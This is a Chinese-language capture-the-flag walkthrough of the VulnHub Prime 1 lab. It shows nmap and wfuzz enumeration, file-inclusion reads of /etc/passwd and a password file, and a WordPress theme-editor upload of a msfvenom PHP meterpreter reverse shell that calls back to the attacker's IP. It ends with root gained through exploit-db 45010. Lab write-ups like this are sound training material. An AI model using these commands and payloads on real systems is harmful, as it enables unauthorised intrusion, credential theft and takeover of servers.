vulnhub-prime1

目录

  • 靶场环境
  • 解题过程

靶场环境

项目 ip
靶机(prime) 未知
攻击机(kali) 10.128.129.128

解题过程

打开靶机,我们只能看见一个登录界面,上面只有半截提示

我们首先要做的是主机发现,因为是网络适配器NAT模式,因此我们只需要在一个使用同样网卡NAT模式下的机器即可,这里我们用的是kali,

javascript 复制代码
nmap -sP 10.128.129.1/24

可以看到,这里发现了六个主机,我们只需要根据物理网卡来获取正确的ip地址即可,在Vmware中,打开虚拟机prime的虚拟机设置,在网络适配器界面的高级界面即可看到物理网卡地址(MAC地址),再结合上面的五台主机,可以判断出目标靶机的ip为10.128.129.131

得到目标主机后,我们还需要知道看看主机有哪些端口可以利用,这里还是利用nmap工具,不得不说,这个工具是真好用。

javascript 复制代码
nmap -A -p- -v 10.128.129.131

可以看到这里开放了两个端口,80端口和22端口,22是ssh,而80端口是HTTP的服务端口,意思是我们可以直接利用浏览器来利用这个端口。

javascript 复制代码
http://10.128.129.131/


可以看到,这里通过80端口访问到了服务器,但是服务器中只有一张图片,查看源代码后也没有任何提示信息,毫无头绪?,那就开始目录扫描!

javascript 复制代码
dirb http://10.128.129.131/

这里看到工具扫到了很多的目录,大部分是wordpress目录下的内容,但是这个只是一个开源的博客程序,所以我们这里把重心放在第一条dev文件中

javascript 复制代码
http://10.128.129.131/dev

可以看到,页面有了回显,是个提示内容

你好

现在你处于 0 级阶段。

在现实生活中的渗透测试中,我们应该使用我们的工具非常努力地挖掘 Web。

祝您黑客愉快。

大致意思就是,我们简单的目录扫描是根本扫不出来的,那么我们就需要利用工具进行深入扫描,那么我们在这里扫一些常见的文件类型进行深入扫描。

javascript 复制代码
dirb http://10.128.129.131/ -X .txt,.php,.zip

可以看到,扫到了一些内容,index.php是首页,可以忽略,那么我们对那两个文件进行访问

第一个:image.php

可以看到,这里还是一个图片,跟之前的一摸一样,源代码也大差不大,没有什么提示

第二个:secret.txt

这里是一段文本内容

看来你有一些秘密。

好的,我只是想帮你一些忙。

在您找到的 php 的每一页上多做一些模糊测试。如果
您获得任何正确的参数,然后按照以下步骤操作。如果你还是卡住了
从这里学习一个基本工具,它对 OSCP 有很好的使用。

https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web
 
//看到location.txt,你会得到你的下一步//

这是一段提示内容,他的意思是让我们在php文件中做文章,做FUZZ爆破,爆破出参数名,然后再访问location.txt。php的文件我们已经扫出来了,一共两个,相比与index,明显image更可疑,

知道了大概思路,我们就开干!

javascript 复制代码
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://10.128.129.131/image.php?FUZZ

可以看到,它弹出了很多东西,我们这里只需要进行过滤即可,可以按照word,也可以通过chars过滤。

javascript 复制代码
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hw 12 http://10.128.129.131/image.php?FUZZ 

可以看到,这里我们没有扫到什么东西,看来是猜错了>_<

那么,再试试另外一个php文件吧

javascript 复制代码
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://10.128.129.131/index.php?FUZZ 

还是一样,过滤掉其他大多数字符

javascript 复制代码
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hw 12 http://10.128.129.131/index.php?FUZZ 

终于筛出来了,字段名叫file,那么我们这里直接访问location.txt即可

javascript 复制代码
http://10.128.129.131/index.php?file=location.txt

可以看到页面有回显了,又是一段提示,翻译过来就是:

做得更好

好的,现在你真的在确切的参数上

现在为下一个挖掘更多
在其他 PHP 页面上使用 'secrettier360' 参数以获得更多乐趣。

看的出来,这次很明显了,提示我们去image.php文件,用secrettier360作字段名为去访问,那么问题来了,我们访问什么呢?

这里也没有提示了,这么利用我们的尝试,靶场是ubuntu的系统,那么这个系统里是不是有一些默认的文件夹呢?

有,比如/etc/passwd,那么我们试着访问一下

javascript 复制代码
http://10.128.129.131/image.php?secrettier360=/etc/passwd

ke

可以看到,页面有了回显了,在最后一行,作者藏了一个提示,很阴间啊。

提示内容为:

find password.txt file in my directory:/home/saket

翻译一下:
在/home/saket目录中找到password.txt

这段提示很眼熟啊,有没有感觉在哪里见过?

在这里,开始的页面,这原来是那半截提示

回到正题,它已经给了我们提示了,那么就试着去访问一下

javascript 复制代码
http://10.128.129.131/image.php?secrettier360=/home/saket/password.txt

果然是有了内容,翻译一下

最后,您得到了正确的参数

follow_the_ippsec

这个字符的文件名是password,看来这是一个密码

那么此时得到一个密码可以做什么呢?这时候就需要冷静一下,仔细回想还有没有什么漏下的条件。

关于密码,再结合目前条件,好像能用的只有ssh,那么我们可以去靶机界面登录一下试试看

可以看到这个办法不太行

还记得我们之前说过wordpress是一个开源的博客程序吗?我们目前来说,只能去博客碰碰运气,看看是不是某个用户登录的密码。

javascript 复制代码
http://10.128.129.131/wordpress/

可以看到,我们进入了博客的首页,那么在Meta的下面有个Log in,我们进入这个页面尝试登录

进入这个页面后,我们只知道密码,不知道账号,还是无从下手,怎么办呢?

这时候就体现出wordpress的一个特性了,当创建好一个wordpress平台后,会用管理员账户自动发表一篇博客,内容就在首页,如下图

那么这里的victor就是管理员的用户了,单机victor,你会发现url中出现了author=1,这个1可能就是root用户的编号,那么我们再来试试其他的

当你尝试2,3,4等简单数据时,会发现好像很难找到一些用户,那么这里我们用工具cmseek去爆破

javascript 复制代码
wpscan --url http://10.128.129.131/wordpress/ --enumerate u

可以看到,这里它只发现了一个用户,那么我们再碰碰运气,看看账号密码是否匹配

可以看到,我们这里登入了进去,已经进入了程序后台。那么接下来我们该怎么办呢?

wordpress还有个特性,在后台的Appearance的Theme Editor,这是个主题编辑器,用来编辑格式等内容,这部分内容会被执行,那么我们就会有很多方法了,这里我们尝试上传内容,实现反弹链接,从而实现获得root权限

大致思路有了,接下来就是找一个地方,让我们可以编译并运行。

可以看到,我们在右侧选中secret.php时,页面有了提示

哦,你终于得到了一个可写的文件

这很明显就是提示了,我们直接在这里写即可

写什么内容呢?

这里我推荐一个MSF模块,它可以帮我们生成文件

javascript 复制代码
msfconsole

只需要输入msfconsole即可进入模块,只需稍加等待模块启动即可

javascript 复制代码
//这串命令可以生成一个shell.php的恶意文件用于反弹链接
//只需要把ip改为攻击机的ip即可
msfvenom -p php/meterpreter/reverse_tcp lhost=10.128.129.128 lport=7777 -o shell.php

可以看到,我们这里有了shell.php文件,我们接下来复制里面的内容即可

javascript 复制代码
cat shell.php


把这段内容复制到刚才的网页的主题编辑器中,点击左下角的update File上传文件,并且在攻击机中的ms模块开始监听对应端口

javascript 复制代码
//使用监听的模块
use exploit/multi/handler
//设置payload为php的反弹链接
set payload php/meterpreter/reverse_tcp
//设置监听的ip和端口
set lhost 10.128.129.128
set lport 7777
//开始监听
exploit

好,现在完事具备,只欠东风,我们只需要访问secret.php文件,即可在攻击机中完成反弹链接

访问地址在哪呢?

这也是wordpress的特征,可以说是固定格式吧

javascript 复制代码
http://10.128.129.131/wordpress/wp-content/themes/twentynineteen/secret.php

访问之后可以看到完成反弹连接了,接下来,进行提权,获取root权限

我个人认为最简单的办法是利用现成的漏洞,那么这里我们看看操作系统的版本信息

javascript 复制代码
sysinfo

这里获取到了操作系统的版本,是Ubuntu 16.04.2

这里我们再开一个命令窗口,进入msf模块,查看ubuntu的版本漏洞有没有可以直接利用的。

javascript 复制代码
searchsploit 16.04 Ubuntu

可以看到,这里有一个能用的漏洞,路径为 linux/local45010.c,那么我们只需要将他拿出来用即可

再次新开一个命令窗口

javascript 复制代码
//将文件copy到工作目录
cp /usr/share/exploitdb/exploits/linux/local/45010.c ./

复制过来后,我们还需要将其编译才能运用,它的后缀为c,那么我们可以直接在当前命令框中编译

javascript 复制代码
gcc 45010.c -o 45010

好,此时就可以直接利用了,利用方式的话,只需要将该文件上传到靶机即可

我们切换到msf监听的窗口

javascript 复制代码
upload /root/45010 /tmp/45010

此时我们看看这个文件上传上去后,有没有权限来运行

javascript 复制代码
cd /tmp
ls

可以看到,没有运行的权限,那么我们只需要修改权限即可

javascript 复制代码
//进入shell模式
shell
//进入tmp目录
cd /tmp
//修改权限
chmod +x 45010
//运行文件
./45010

此时就会发现自己是root用户了

相关推荐
冬日9微醺40 分钟前
白酒冷知识 普通人判断酒好坏这三招就够了
安全·阿里云·es
中国云报1 小时前
黎巴嫩BP机爆炸事件启示录:我国应加快供应链安全立法
运维·网络·安全
XuanRanDev1 小时前
如何确保Java程序分发后不被篡改?使用JNI对Java程序进行安全校验
java·安全
成都古河云1 小时前
智慧交通,智能消防系统助力高铁站安全
大数据·人工智能·物联网·安全·信息可视化·区块链
白80803 小时前
apach httpd多后缀解析漏洞
安全·web安全
小小工匠3 小时前
加密与安全_三种常见的注入攻击
安全·sql注入·xss攻击·代码注入
网安CILLE3 小时前
2024自学手册——网络安全(黑客技术)
网络·安全·web安全
fasewer4 小时前
device靶机详解
网络安全